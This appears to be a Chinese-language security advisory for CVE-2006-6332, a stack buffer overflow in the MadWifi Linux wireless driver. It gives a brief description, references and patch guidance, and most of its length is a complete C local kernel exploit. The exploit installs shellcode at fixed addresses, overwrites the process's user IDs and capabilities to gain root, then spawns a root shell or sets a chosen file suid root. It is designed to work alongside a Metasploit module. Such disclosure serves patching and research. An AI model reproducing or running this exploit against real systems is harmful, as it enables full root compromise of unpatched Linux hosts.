安全研究

安全漏洞
MADWiFi Linux内核设备驱动远程缓冲区溢出漏洞

发布日期:2006-12-07
更新日期:2006-12-11

受影响系统:
MADWifi MADWifi 0.9.2
不受影响系统:
MADWifi MADWifi 0.9.2.1
描述:
BUGTRAQ  ID: 21486
CVE(CAN) ID: CVE-2006-6332

MadWifi全称是Multiband Atheros Driver for Wifi,是使用Atheros系列芯片的802.11a/b/g无线网卡在Linux下驱动程序。

MadWifi驱动的实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞以内核权限执行任意指令。

MadWifi驱动代码的net80211/ieee80211_wireless.c文件中存在栈溢出漏洞,攻击者可以通过encode_ie和giwscan_cb函数触发这个溢出,导致执行任意内核权限指令。

<*来源:Laurent Butti (laurent.butti@orange-ftgroup.com
        Julien Tinnes
        Jerome Raznieski
  
  链接:http://secunia.com/advisories/23277/
        http://madwifi.org/wiki/news/20061207/release-0-9-2-1-fixes-critical-security-issue
        http://madwifi.org/changeset/1842
        http://security.gentoo.org/glsa/glsa-200612-09.xml
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* Madwifi giwscan_cb buffer overflow local kernel exploit
*
* CVE-2006-6332
*
* (C) 2006 Julien TINNES and Laurent BUTTI
*
* Use this local exploit in conjonction with the metasploit module
*
* The vulnerable function is called when asking for scan result (which you can do
*  without privileges).
*  However you need to wait for your card to scan for access point before this exploit can be successfull.
*
* The best way to test this exploit is:
* 1. start the metasploit module on another machine
* 2. Bring your card up. (e.g. ifconfig ath0 up)
* 3. ./madexploit
*
* This will always work because the card will automatically start scanning for APs when your
* bring it up.
* For testing purpose you can also launch this exploit as root, It'll automatically issue a
* scanning request.
* There are also ways to remotely make the card start scanning for APs. Will you find them ?
*
* Use -s if your kernel uses 4K stacks
* Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message
*
* This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing
*
* TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s)
*
* Version 0.5
*/


#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>        
#include <netinet/if_ether.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <getopt.h>

// #include "iwlib.h"
/* defs from wireless.h and iwlib.h */

#define IW_SCAN_MAX_DATA        4096
#ifndef __user
#define __user
#endif

#define NOPS 0x90909090

#define TASK_SIZE 0xC0000000

#define SIOCSIWSCAN     0x8B18          /* trigger scanning (list cells) */
#define SIOCGIWSCAN     0x8B19          /* get scanning results */

struct  iw_point
{
  void __user   *pointer;       /* Pointer to the data  (in user space) */
  __u16         length;         /* number of fields or size in bytes */
  __u16         flags;          /* Optional params */
};

union   iwreq_data
{
    struct iw_point data;           /* Other large parameters */
};

struct  iwreq
{
        union
        {
                char    ifrn_name[IFNAMSIZ];    /* if name, e.g. "eth0" */
        } ifr_ifrn;

        /* Data part (defined just above) */
        union   iwreq_data      u;
};

#define IFNAME "ath0"

/* This magic address will pass encode_ie in madwifi
* '3' is 0x33! */
#define    KSCADDR    0x33333333

#define USCADDR 0x50000000

/* stringification */
#define xstr(s) str(s)
#define str(s) #s

#define KSTACKADDR 0x60000100

#define PGS    (4096)

/* 4046 if 4K STACK is defined */
#define THREAD_SIZE             (8192)
#define THREAD_SIZE8K        (8192)
#define THREAD_SIZE4K        (4096)

#define __syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)

#define patchsc_with_addr(sc, addr) \
do { \
    *((void (**)())(sc+1))=addr;\
} while (0)

void    *installsc(void *scaddr, void *sh, unsigned int len);
void    *getsc(char *filename, uint32_t *len);

//_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto);

// jmp -2
//static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe";
// mov [0], eax
//static char sc[]="\xA3\x00\x00\x00\x00";
// exit(42);
//static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80";
// mov eax, 0x01020304; jmp eax

char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0";
uid_t puid;
int noexit=0;

char    *chmodfile=NULL;
char chmodname[1024];

unsigned int stackheur=0;
char    *ifname=IFNAME;

struct task_struct;

typedef struct {
    unsigned long seg;
} mm_segment_t;

mm_segment_t addr_limit;

/* thread_info.h */
struct thread_info {
        struct task_struct      *task;          /* main task structure */
    struct exec_domain    *exec_domain;    /* execution domain */
    unsigned long        flags;        /* low level flags */
    unsigned long        status;        /* thread-synchronous flags */
    __u32            cpu;        /* current CPU */
    int            preempt_count;    /* 0 => preemptable, <0 => BUG */
    mm_segment_t        addr_limit;
    /* continued */
};

int sys_ioctl(int d, int request, struct iwreq *toto)
{
    long __res;
    __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
            : "=a" (__res)
            : "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)),
            "d" ((long)(toto)) : "memory");
    __syscall_return(int,__res);
}

struct iretstack {
    uint32_t    eip;
    uint32_t    cs;
    uint32_t    eflags;
    uint32_t    esp;
    uint32_t    ss;
} __attribute__((packed));

void    build_iretstack(struct iretstack *dest, uint32_t eip) {

    dest->eip=eip;
    asm("xorl %0, %0\n"
        "mov %%cs, %0\n"
        "pushf\n"
        "pop %%esi\n"
        "movl %%esi, %1\n"
        "movl %%esp, %2\n"
        "xorl %3, %3\n"
        "mov %%ss, %3\n"
        : "=r" (dest->cs),  "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss)
        :
        : "esi"
    );
}

/* userland function, called after ksc_func */
void    usc_func(void) {
    int ret;

    printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg);

    if (getuid() == 0) {
        printf("[+] Success\n");
        if (chmodfile != NULL) {
            ret=chown(chmodfile, 0, 0);
            if (ret == -1) {
                perror("chown");
                exit(1);
            } else
                ret=chmod(chmodfile, 04755);
            if (ret == -1) {
                perror("chmod");
                exit(1);
            }

            if (noexit) {
                printf("[+] Sleeping forever\n");
                while(1)
                    sleep(10);
            } else
                /* we may BUG() here... */
                exit(0);
        } else
            execlp("/bin/sh", "sh", NULL);
    } else {
        printf("[-] Failure\n");
        exit(42);
    }
}

static inline struct thread_info *current_thread_info(__u32 tsize) {
        struct thread_info *ti;
        //__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
        __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1)));
        return ti;
}

/* Our kernel mode function */
void    ksc_func(void) {
    uid_t *tsk;
    
    /* Lame heuristic to try and detect 4K stacks */
    if (stackheur) {
        addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg;
        if (addr_limit.seg == TASK_SIZE)
            tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task);
        else
            tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
    } else {
        addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg;
        tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
    }

    /* look for uid,euid,suid,fsuid */
    while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) )
        tsk++;

    /* patch uids and gids */
    //tsk[0]=tsk[1]=tsk[2]=tsk[3]=0;
    memset(tsk, 0, 8*sizeof(uid_t));

    /* patch capabilities */
    tsk+=9;
    memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t));
    
    asm(".intel_syntax noprefix\n"
        "sti\n"
        "mov  esp, " xstr(KSTACKADDR) "\n"
        "iret\n"
    ".att_syntax noprefix\n");
}

int    main(int argc, char **argv) {

    int    skfd, counter=0;
    struct iwreq    wrq;
        unsigned char *buffer = NULL;        /* Results */
    int    buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */

    printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n"
        "(C) 2006 Julien TINNES and Laurent BUTTI\n\n");

    /* support -c on self */
    if (( geteuid() == 0) && (getuid() !=0)) {
        setuid(0);
        setgid(0);
        execlp("/bin/sh", "sh", NULL);
    }

    for (;;) {
        int option_index = 0, c;
        static struct option long_options[] =
        {
            {"stackheur", 0, 0, 's'},
            {"help", 0, 0, 'h'},
            {"interface", 1, 0, 'i'},
            {"chown/chmod", 1, 0, 'c'},
            {"noexit", 1, 0, 'n'},
            {0,0,0,0}
        };

        c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index);

        if (c == -1)
            break;
        
        switch (c)
        {
            case 0:
                printf("This case should'nt happen\n");
                break;

            case 's':
                printf("[+] Using stack heuristic \n");
                stackheur=1;
                break;
            case 'i':
                ifname=optarg;
                break;
            case 'c':
                if ( (strlen(optarg)+1) > sizeof(chmodname))
                    exit(1);
                /* We better not rely on the stack */
                strcpy(chmodname, optarg);
                chmodfile=chmodname;
                printf("[+] chmod/chown %s if success\n", chmodfile);
                break;
            case 'n':
                noexit=1;
                break;
            case 'h':
            case '?':
            default:
                printf("Usage %s [options]\n\n"
                        "Options:\n"
                        "-s\t Use heuristic to determine kernel stack size\n"
                        "-i <iface>\t Use interface 'iface'\n"
                        "-c <file>\t Make 'file' suid root\n"
                        "-n\tdo not exit after chown/chmod\n"
                        , argv[0]);
                exit(1);
        }
    }



    puid=getuid();
    
    printf("[+] Using interface %s\n", ifname);

    /* install kernel shellcode */
    //scmap=getsc("ksc", &sclen);
    patchsc_with_addr(sc, ksc_func);

    //if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) {
    if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) {
        perror("installksc");
        exit(1);
    }

    printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR);

    /* install user shellcode */
    //scmap=getsc("usc", &sclen);
    patchsc_with_addr(sc, usc_func);

    //if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) {
    if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) {
        perror("installusc");
        exit(1);
    }

    printf("[+] User shellcode installed at 0x%X\n", USCADDR);

    /* allocate space for kernel stack */
    if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) {
        perror("installkstack");
        exit(1);
    }

    /* This is a lame workaround to prevent giwscan_cb from crashing
     * before returning. We create two pages so that structure pointers
     * can be recursively dereferenced.
     * A proper exploit should not do that :) */

    /* allocate self-dereferencable page */
    if (installsc((void *) NOPS, "", 0) == MAP_FAILED) {
        perror("self-deref-page");
        exit(1);
    }

    if (installsc((void *) 0, "", 0) == MAP_FAILED) {
        perror("self-deref-page");
        exit(1);
    }
    bzero(NULL,  PGS);

    assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack));
    build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR);

    printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip);

    /* trigger vulnerable function */
    buffer = malloc(buflen);
    if (!buffer) {
        perror("malloc");
        exit(1);
    }

    /* Initialize wrq */
    wrq.u.data.pointer = NULL;
    wrq.u.data.flags = 0;
    wrq.u.data.length = 0;

    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);

    if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }

    if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) {
        perror("[-] ioctl SIOCSIWSCAN");
        printf("    -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n");
    } else {
        printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n");
    }

    /* Initialize wrq */
    wrq.u.data.pointer = buffer;
    wrq.u.data.flags = 0;
    wrq.u.data.length = buflen;

    while (1) {
        printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++);
        if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
        //if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
            perror("[-] ioctl SIOCGIWSCAN");
            exit(1);
        }
        sleep(1);
    }
    return 0;
}

/* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */
void    *installsc(void *scaddr, void *sh, unsigned int len) {
    void    *scpt;

    assert(getpagesize() == PGS);

    /* allocate one extra page which will be filled by nops */
    scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0);    
    
    if (scpt == MAP_FAILED) {
        perror("mmap");
        return scpt;
    }

    /* fill first page with nops */
    memset(scpt, NOPS, PGS);
    /* and copy shellcode */
    memcpy(scpt+PGS, sh, len);
    return scpt;
}

/* map shellcode found in filename in memory, return its address */
void    *getsc(char *filename, uint32_t *len) {
    int    scfd;
    void    *scmap;
    struct    stat scstat;

    scfd=stat(filename, &scstat);
    if (scfd == -1) {
        perror("stat");
        exit(1);
    }

    *len=scstat.st_size;

    scfd=open(filename, O_RDONLY);

    if (scfd == -1) {
        perror("open");
        exit(1);
    }

    scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0);

    if (scmap == MAP_FAILED) {
        perror("mmap");
        exit(1);
    }

    return scmap;    
}

建议:
厂商补丁:

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200612-09)以及相应补丁:
GLSA-200612-09:MadWifi: Kernel driver buffer overflow
链接:http://security.gentoo.org/glsa/glsa-200612-09.xml

所有MadWifi用户都应升级到最新版本:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-wireless/madwifi-ng-0.9.2.1"

MADWifi
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://sourceforge.net/project/showfiles.php?group_id=82936&package_id=85233

浏览次数:4971
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障